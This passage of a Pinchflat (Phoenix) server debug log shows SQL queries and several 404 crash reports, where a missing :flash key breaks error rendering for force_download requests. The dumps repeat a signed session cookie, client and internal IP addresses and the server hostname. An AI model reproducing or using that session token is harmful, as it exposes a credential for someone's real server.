s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.687 [debug] QUERY OK source="media_profiles" db=1.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:19.687 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.688 [debug] QUERY OK source="settings" db=2.0ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.688 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.689 [debug] QUERY OK source="media_profiles" db=2.6ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:19.689 [info] Sent 200 in 9ms 06:03:19.690 [info] Sent 200 in 22ms 06:03:19.690 [info] GET /sources/31/media/90907/edit 06:03:19.690 [info] GET /sources/31/media/90907 06:03:19.691 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:03:19.691 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 06:03:19.691 [info] GET /sources/31/media/90907/force_download 06:03:19.692 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 06:03:19.693 [debug] QUERY OK source="media_items" db=1.4ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 06:03:19.693 [debug] QUERY OK source="settings" db=1.2ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.694 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=4.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90907] 06:03:19.694 [debug] QUERY OK source="sources" db=0.8ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.694 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.689 [error] #PID<0.140050.0> running PinchflatWeb.Endpoint (connection #PID<0.140049.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/91114/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/91114/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47130}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140050.0>, params: %{}, path_info: ["sources", "31", "media", "91114", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/media/91114/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYnbzb9D-hGJMADcph"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47130}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/91114/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47130}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im (truncated) 06:03:19.694 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.695 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.695 [info] GET /sources/31/media/90894/force_download 06:03:19.695 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=1.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 06:03:19.695 [debug] QUERY OK source="settings" db=0.6ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.696 [debug] QUERY OK source="settings" db=0.7ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.696 [debug] QUERY OK source="settings" db=0.4ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.696 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.696 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.697 [debug] QUERY OK source="settings" db=0.5ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.697 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.698 [info] Sent 200 in 7ms 06:03:19.698 [debug] QUERY OK source="settings" db=0.4ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.698 [info] Sent 200 in 29ms 06:03:19.700 [debug] QUERY OK source="media_profiles" db=0.5ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:19.695 [error] #PID<0.140055.0> running PinchflatWeb.Endpoint (connection #PID<0.140035.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/90907/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90907/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140035.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47106}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140055.0>, params: %{}, path_info: ["sources", "31", "media", "90907", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/media/90907/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYnb1EhknzCp4ADGLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140035.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47106}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90907/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140035.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47106}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im (truncated) 06:03:19.701 [info] GET /sources/31/media/90894/edit 06:03:19.701 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 06:03:19.701 [debug] QUERY OK source="media_items" db=0.1ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 06:03:19.702 [debug] QUERY OK source="settings" db=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.702 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.697 [error] #PID<0.140060.0> running PinchflatWeb.Endpoint (connection #PID<0.140049.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/90894/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90894/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47130}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => 